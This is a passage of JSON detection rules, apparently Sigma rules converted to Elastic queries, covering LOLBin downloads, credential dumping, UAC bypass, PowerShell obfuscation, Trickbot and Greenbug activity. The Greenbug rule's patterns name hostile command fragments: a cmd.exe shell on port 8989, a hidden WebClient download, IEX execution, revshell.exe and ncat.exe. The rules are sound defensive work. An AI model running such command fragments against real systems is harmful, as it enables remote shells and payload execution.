*IMPHASH\\=1B0369A1E06271833F78FFA70FFB4EAF* OR *IMPHASH\\=4C1B52A19748428E51B14C278D0F58E3* OR *IMPHASH\\=4D927A711F77D62CEBD4F322CB57EC6F* OR *IMPHASH\\=66EE036DF5FC1004D9ED5E9A94A1086A* OR *IMPHASH\\=672B13F4A0B6F27D29065123FE882DFC* OR *IMPHASH\\=6BBD59CEA665C4AFCC2814C1327EC91F* OR *IMPHASH\\=725BB81DC24214F6ECACC0CFB36AD30D* OR *IMPHASH\\=9528A0E91E28FBB88AD433FEABCA2456* OR *IMPHASH\\=9DA6D5D77BE11712527DCAB86DF449A3* OR *IMPHASH\\=A6E01BC1AB89F8D91D9EAB72032AAE88* OR *IMPHASH\\=B24C5EDDAEA4FE50C6A96A2A133521E4* OR *IMPHASH\\=D21BBC50DCC169D7B4D0F01962793154* OR *IMPHASH\\=FCC251CCEAE90D22C392215CC9A2D5D6* OR *IMPHASH\\=23867A89C2B8FC733BE6CF5EF902F2D1* OR *IMPHASH\\=A37FF327F8D48E8A4D2F757E1B6E70BC* OR *IMPHASH\\=6118619783FC175BC7EBECFF0769B46E* OR *IMPHASH\\=959A83047E80AB68B368FDB3F4C6E4EA* OR *IMPHASH\\=563233BFA169ACC7892451F71AD5850A* OR *IMPHASH\\=87575CB7A0E0700EB37F2E3668671A08* OR *IMPHASH\\=13F08707F759AF6003837A150A371BA1* OR *IMPHASH\\=1781F06048A7E58B323F0B9259BE798B* OR *IMPHASH\\=233F85F2D4BC9D6521A6CAAE11A1E7F5* OR *IMPHASH\\=24AF2584CBF4D60BBE5C6D1B31B3BE6D* OR *IMPHASH\\=632969DDF6DBF4E0F53424B75E4B91F2* OR *IMPHASH\\=713C29B396B907ED71A72482759ED757* OR *IMPHASH\\=749A7BB1F0B4C4455949C0B2BF7F9E9F* OR *IMPHASH\\=8628B2608957A6B0C6330AC3DE28CE2E* OR *IMPHASH\\=8B114550386E31895DFAB371E741123D* OR *IMPHASH\\=94CB940A1A6B65BED4D5A8F849CE9793* OR *IMPHASH\\=9D68781980370E00E0BD939EE5E6C141* OR *IMPHASH\\=B18A1401FF8F444056D29450FBC0A6CE* OR *IMPHASH\\=CB567F9498452721D77A451374955F5F* OR *IMPHASH\\=730073214094CD328547BF1F72289752* OR *IMPHASH\\=17B461A082950FC6332228572138B80C* OR *IMPHASH\\=DC25EE78E2EF4D36FAA0BADF1E7461C9* OR *IMPHASH\\=819B19D53CA6736448F9325A85736792* OR *IMPHASH\\=829DA329CE140D873B4A8BDE2CBFAA7E* OR *IMPHASH\\=C547F2E66061A8DFFB6F5A3FF63C0A74* OR *IMPHASH\\=0588081AB0E63BA785938467E1B10CCA* OR *IMPHASH\\=0D9EC08BAC6C07D9987DFD0F1506587C* OR *IMPHASH\\=BC129092B71C89B4D4C8CDF8EA590B29* OR *IMPHASH\\=4DA924CF622D039D58BCE71CDF05D242* OR *IMPHASH\\=E7A3A5C377E2D29324093377D7DB1C66* OR *IMPHASH\\=9A9DBEC5C62F0380B4FA5FD31DEFFEDF* OR *IMPHASH\\=AF8A3976AD71E5D5FDFB67DDB8DADFCE* OR *IMPHASH\\=0C477898BBF137BBD6F2A54E3B805FF4* OR *IMPHASH\\=0CA9F02B537BCEA20D4EA5EB1A9FE338* OR *IMPHASH\\=3AB3655E5A14D4EEFC547F4781BF7F9E* OR *IMPHASH\\=E6F9D5152DA699934B30DAAB206471F6* OR *IMPHASH\\=3AD59991CCF1D67339B319B15A41B35D* OR *IMPHASH\\=FFDD59E0318B85A3E480874D9796D872* OR *IMPHASH\\=0CF479628D7CC1EA25EC7998A92F5051* OR *IMPHASH\\=07A2D4DCBD6CB2C6A45E6B101F0B6D51* OR *IMPHASH\\=D6D0F80386E1380D05CB78E871BC72B1* OR *IMPHASH\\=38D9E015591BBFD4929E0D0F47FA0055* OR *IMPHASH\\=0E2216679CA6E1094D63322E3412D650* OR *IMPHASH\\=ADA161BF41B8E5E9132858CB54CAB5FB* OR *IMPHASH\\=2A1BC4913CD5ECB0434DF07CB675B798* OR *IMPHASH\\=11083E75553BAAE21DC89CE8F9A195E4* OR *IMPHASH\\=A23D29C9E566F2FA8FFBB79267F5DF80* OR *IMPHASH\\=4A07F944A83E8A7C2525EFA35DD30E2F* OR *IMPHASH\\=767637C23BB42CD5D7397CF58B0BE688* OR *IMPHASH\\=14C4E4C72BA075E9069EE67F39188AD8* OR *IMPHASH\\=3C782813D4AFCE07BBFC5A9772ACDBDC* OR *IMPHASH\\=7D010C6BB6A3726F327F7E239166D127* OR *IMPHASH\\=89159BA4DD04E4CE5559F132A9964EB3* OR *IMPHASH\\=6F33F4A5FC42B8CEC7314947BD13F30F* OR *IMPHASH\\=5834ED4291BDEB928270428EBBAF7604* OR *IMPHASH\\=5A8A8A43F25485E7EE1B201EDCBC7A38* OR *IMPHASH\\=DC7D30B90B2D8ABF664FBED2B1B59894* OR *IMPHASH\\=41923EA1F824FE63EA5BEB84DB7A3E74* OR *IMPHASH\\=3DE09703C8E79ED2CA3F01074719906B* OR *IMPHASH\\=A53A02B997935FD8EEDCB5F7ABAB9B9F* OR *IMPHASH\\=E96A73C7BF33A464C510EDE582318BF2* OR *IMPHASH\\=32089B8851BBF8BC2D014E9F37288C83* OR *IMPHASH\\=09D278F9DE118EF09163C6140255C690* OR *IMPHASH\\=03866661686829d806989e2fc5a72606* OR *IMPHASH\\=e57401fbdadcd4571ff385ab82bd5d6d* OR *IMPHASH\\=84B763C45C0E4A3E7CA5548C710DB4EE* OR *IMPHASH\\=19584675D94829987952432E018D5056* OR *IMPHASH\\=330768A4F172E10ACB6287B87289D83B*))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use the .NET InstallUtil.exe application in order to download arbitrary files. The files will be written to %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "adbe74be-9c8b-bee2-b929-ed3c341e9ca4", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Execution of InstallUtil To Download", "query": "((process.executable.text:*\\\\InstallUtil.exe OR winlog.event_data.OriginalFileName:\"InstallUtil.exe\") AND process.command_line.text:(*http\\:\\/\\/* OR *https\\:\\/\\/* OR *ftp\\:\\/\\/*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Diag\\\\VolSnap\\\\Volume are captured.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9fffdef6-4970-9841-979f-9ceccf576cfb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Esentutl Volume Shadow Copy Service Keys", "query": "((winlog.event_data.TargetObject:*System\\\\CurrentControlSet\\\\Services\\\\VSS* AND process.executable:*esentutl.exe) AND (NOT (winlog.event_data.TargetObject:*System\\\\CurrentControlSet\\\\Services\\\\VSS\\\\Start*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "6cb90e3e-daa5-a497-54a3-600ce257f50b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WMI Event Consumer Created Named Pipe", "query": "process.executable.text:*\\\\scrcons.exe", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1047"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).", "enabled": false, "false_positives": ["The command wmic os get lastboottuptime loads vbscript.dll", "The command wmic os get locale loads vbscript.dll", "Since the ImageLoad event doesn't have enough information in this case. It's better to look at the recent process creation events that spawned the WMIC process and investigate the command line and parent/child processes to get more insights"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "52c4dfc5-b570-04d0-a572-662e478ce068", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "WMIC Loading Scripting Libraries", "query": "(process.executable.text:*\\\\wmic.exe AND dll.path:(*\\\\jscript.dll OR *\\\\vbscript.dll))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1220"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1220", "name": "XSL Script Processing", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)"], "license": ""}
{"description": "Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b9fd9a8a-2f84-83ec-88b3-629b975debbb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Token Obfuscation - Powershell", "query": "((((powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/w/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/`/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/w/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/-/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/./ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/`/ OR powershell.file.script_block_text:/[/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/w/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/]/)) OR ((powershell.file.script_block_text:/\"/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/d/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/}/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/\"/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/s/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/-/ OR powershell.file.script_block_text:/f/)) OR ((powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/v/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/`/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/v/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/:/ OR powershell.file.script_block_text:/p/ OR powershell.file.script_block_text:/a/ OR powershell.file.script_block_text:/t/ OR powershell.file.script_block_text:/h/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/}/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/v/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/`/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/v/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/:/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/p/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/a/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/t/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/h/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/`/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/p/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/a/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/t/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/h/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/}/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/$/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/{/ OR powershell.file.script_block_text:/e/ OR powershell.file.script_block_text:/n/ OR powershell.file.script_block_text:/v/ OR powershell.file.script_block_text:/:/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/p/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/a/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/t/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/h/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/`/ OR powershell.file.script_block_text:/(/ OR powershell.file.script_block_text:/p/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/a/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/t/ OR powershell.file.script_block_text:/|/ OR powershell.file.script_block_text:/h/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/*/ OR powershell.file.script_block_text:/)/ OR powershell.file.script_block_text:/+/ OR powershell.file.script_block_text:/\\/ OR powershell.file.script_block_text:/}/))) AND (NOT (powershell.file.script_block_text:*it\\ will\\ return\\ true\\ or\\ false\\ instead*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "50f96c95-dfe7-4de8-105a-fcf25f5b91c8", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Powershell Token Obfuscation - Process Creation", "query": "(((process.command_line.text:/\\/ OR process.command_line.text:/w/ OR process.command_line.text:/+/ OR process.command_line.text:/`/ OR process.command_line.text:/(/ OR process.command_line.text:/\\/ OR process.command_line.text:/w/ OR process.command_line.text:/+/ OR process.command_line.text:/|/ OR process.command_line.text:/-/ OR process.command_line.text:/|/ OR process.command_line.text:/./ OR process.command_line.text:/)/ OR process.command_line.text:/`/ OR process.command_line.text:/[/ OR process.command_line.text:/\\/ OR process.command_line.text:/w/ OR process.command_line.text:/+/ OR process.command_line.text:/|/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/]/)) OR ((process.command_line.text:/\"/ OR process.command_line.text:/(/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/\\/ OR process.command_line.text:/d/ OR process.command_line.text:/\\/ OR process.command_line.text:/}/ OR process.command_line.text:/)/ OR process.command_line.text:/+/ OR process.command_line.text:/\"/ OR process.command_line.text:/\\/ OR process.command_line.text:/s/ OR process.command_line.text:/*/ OR process.command_line.text:/-/ OR process.command_line.text:/f/)) OR ((process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/(/ OR process.command_line.text:/(/ OR process.command_line.text:/e/ OR process.command_line.text:/|/ OR process.command_line.text:/n/ OR process.command_line.text:/|/ OR process.command_line.text:/v/ OR process.command_line.text:/)/ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/(/ OR process.command_line.text:/e/ OR process.command_line.text:/|/ OR process.command_line.text:/n/ OR process.command_line.text:/|/ OR process.command_line.text:/v/ OR process.command_line.text:/)/ OR process.command_line.text:/*/ OR process.command_line.text:/)/ OR process.command_line.text:/+/ OR process.command_line.text:/:/ OR process.command_line.text:/p/ OR process.command_line.text:/a/ OR process.command_line.text:/t/ OR process.command_line.text:/h/ OR process.command_line.text:/\\/ OR process.command_line.text:/}/ OR process.command_line.text:/|/ OR process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/(/ OR process.command_line.text:/(/ OR process.command_line.text:/e/ OR process.command_line.text:/|/ OR process.command_line.text:/n/ OR process.command_line.text:/|/ OR process.command_line.text:/v/ OR process.command_line.text:/)/ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/(/ OR process.command_line.text:/e/ OR process.command_line.text:/|/ OR process.command_line.text:/n/ OR process.command_line.text:/|/ OR process.command_line.text:/v/ OR process.command_line.text:/)/ OR process.command_line.text:/*/ OR process.command_line.text:/)/ OR process.command_line.text:/+/ OR process.command_line.text:/:/ OR process.command_line.text:/(/ OR process.command_line.text:/(/ OR process.command_line.text:/p/ OR process.command_line.text:/|/ OR process.command_line.text:/a/ OR process.command_line.text:/|/ OR process.command_line.text:/t/ OR process.command_line.text:/|/ OR process.command_line.text:/h/ OR process.command_line.text:/)/ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/(/ OR process.command_line.text:/p/ OR process.command_line.text:/|/ OR process.command_line.text:/a/ OR process.command_line.text:/|/ OR process.command_line.text:/t/ OR process.command_line.text:/|/ OR process.command_line.text:/h/ OR process.command_line.text:/)/ OR process.command_line.text:/*/ OR process.command_line.text:/)/ OR process.command_line.text:/+/ OR process.command_line.text:/\\/ OR process.command_line.text:/}/ OR process.command_line.text:/|/ OR process.command_line.text:/\\/ OR process.command_line.text:/$/ OR process.command_line.text:/\\/ OR process.command_line.text:/{/ OR process.command_line.text:/e/ OR process.command_line.text:/n/ OR process.command_line.text:/v/ OR process.command_line.text:/:/ OR process.command_line.text:/(/ OR process.command_line.text:/(/ OR process.command_line.text:/p/ OR process.command_line.text:/|/ OR process.command_line.text:/a/ OR process.command_line.text:/|/ OR process.command_line.text:/t/ OR process.command_line.text:/|/ OR process.command_line.text:/h/ OR process.command_line.text:/)/ OR process.command_line.text:/*/ OR process.command_line.text:/`/ OR process.command_line.text:/(/ OR process.command_line.text:/p/ OR process.command_line.text:/|/ OR process.command_line.text:/a/ OR process.command_line.text:/|/ OR process.command_line.text:/t/ OR process.command_line.text:/|/ OR process.command_line.text:/h/ OR process.command_line.text:/)/ OR process.command_line.text:/*/ OR process.command_line.text:/)/ OR process.command_line.text:/+/ OR process.command_line.text:/\\/ OR process.command_line.text:/}/)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects Too long PowerShell command lines", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d4b975b9-df23-60b8-81f2-2605cfd2c0ac", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Too Long PowerShell Commandlines", "query": "((process.command_line:(*powershell* OR *pwsh*) OR winlog.event_data.Description:\"Windows\\ Powershell\" OR Product:\"PowerShell\\ Core\\ 6\") AND process.command_line:/.{1000,}/)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova"], "license": ""}
{"description": "Detects tools and process executions as observed in a Greenbug campaign in May 2020", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5e66899a-1b3f-927d-dfc4-1731bc978b34", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Greenbug Campaign Indicators", "query": "((process.command_line:*bitsadmin* AND process.command_line:*\\/transfer* AND process.command_line:*CSIDL_APPDATA*) OR process.command_line:*CSIDL_SYSTEM_DRIVE* OR process.command_line:(*\\\\msf.ps1* OR *8989\\ \\-e\\ cmd.exe* OR *system.Data.SqlClient.SqlDataAdapter\$$cmd\$;\\ \\[void\\]$da.fill* OR *\\-nop\\ \\-w\\ hidden\\ \\-c\\ $k\\=new\\-object* OR *\\[Net.CredentialCache\\]\\:\\:DefaultCredentials;IEX\\ * OR *\\ \\-nop\\ \\-w\\ hidden\\ \\-c\\ $m\\=new\\-object\\ net.webclient;$m* OR *\\-noninteractive\\ \\-executionpolicy\\ bypass\\ whoami* OR *\\-noninteractive\\ \\-executionpolicy\\ bypass\\ netstat\\ \\-a* OR *L3NlcnZlcj1*) OR process.executable:(*\\\\adobe\\\\Adobe.exe OR *\\\\oracle\\\\local.exe OR *\\\\revshell.exe OR *infopagesbackup\\\\ncat.exe OR *CSIDL_SYSTEM\\\\cmd.exe OR *\\\\programdata\\\\oracle\\\\java.exe OR *CSIDL_COMMON_APPDATA\\\\comms\\\\comms.exe OR *\\\\Programdata\\\\VMware\\\\Vmware.exe))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1036", "T1059", "T1105"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "80163500-9da4-5cfe-96ad-b54ae53f01f8", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DPAPI Domain Backup Key Extraction", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4662\" AND winlog.event_data.ObjectType:\"SecretObject\" AND winlog.event_data.AccessMask:\"0x2\" AND winlog.event_data.ObjectName:*BCKUPKEY*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez @Cyb3rWard0g"], "license": ""}
{"description": "Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "568b4d5a-a557-7962-79a9-6cf1db98ae0f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UAC Bypass Tools Using ComputerDefaults", "query": "((IntegrityLevel:(\"High\" OR \"System\") AND process.executable.text:\"C\\:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\") AND (NOT (process.parent.executable.text:(*\\:\\\\Windows\\\\System32* OR *\\:\\\\Program\\ Files*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Christian Burkard"], "license": ""}
{"description": "Detects transferring files from system on a server bitstransfer Powershell cmdlets", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "14da900e-002b-2a58-cd4e-460ee3539504", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Bitstransfer via PowerShell", "query": "(process.executable.text:(*\\\\powershell.exe OR *\\\\powershell_ise.exe OR *\\\\pwsh.exe) AND process.command_line.text:(*Get\\-BitsTransfer* OR *Add\\-BitsFile*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1197"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1197", "name": "BITS Jobs", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Austin Songer @austinsonger"], "license": ""}
{"description": "Detects Trickbot malware process tree pattern in which rundll32.exe is parent of wermgr.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75e1f66d-e142-97b3-7fd7-c0124a9eab2a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Trickbot Malware Activity", "query": "(process.executable:*\\\\wermgr.exe AND process.parent.executable:*\\\\rundll32.exe AND process.parent.command_line:*DllRegisterServer*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1559"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1559", "name": "Inter-Process Communication", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
